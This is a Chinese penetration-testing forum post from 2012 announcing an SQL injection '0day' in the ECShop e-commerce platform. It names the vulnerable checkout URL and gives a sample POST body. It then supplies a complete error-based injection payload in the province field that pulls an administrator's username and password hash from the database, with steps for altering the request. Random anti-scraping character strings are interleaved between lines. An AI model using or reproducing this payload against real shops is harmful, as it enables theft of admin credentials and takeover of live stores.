中国网络渗透测试联盟
标题:
ECShop全版本SQL注入0day
[打印本页]
作者:
admin
时间:
2012-12-31 09:19
标题:
ECShop全版本SQL注入0day
感谢欠杀的黑盒
7 g3 O% @& E, n& a2 B
8 Z" M/ a* N% A \) p! a! `/ y
% W5 k% l2 v$ C
把任意商品加入购物车在填写配送地址那一页，有地区选择
" b5 _, B/ C9 T
$ O/ m# c; d6 h7 B- \6 K
flow.php?step=consignee&direct_shopping=1
# Y/ G& w) S4 O4 `
比如省选择安徽
; q0 \: J7 `9 U1 x c
( D2 v1 U4 N8 t W" B& y8 Z# |' ~
其中POST数据如下
$ m5 v. b4 W0 y9 P
, V e" F( v: g% Q" `/ O
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
7 L; I+ B+ i3 Q6 f2 `, Y, F3 `
改成
% V$ O- o* ]* |
$ J/ F& r2 ]* ^
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
2 g9 B0 D6 g$ x+ P0 W: g8 M2 m
ps：详细的方法，用火狐tamper data插件……..即可改post内容…..
- _3 G* c; J! E! g) Z
" Q/ Y. D/ \/ t4 d( e
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
7 s$ c2 L8 _1 m( i$ o
% G! R# Z/ ~5 e
就会回显错误页面了。。。。
; T& V# g2 I, K+ H3 T; w
, a$ {9 a2 J' z- U/ V* a7 {- `
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
4 f: V$ i9 U& f! o' x# Q
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2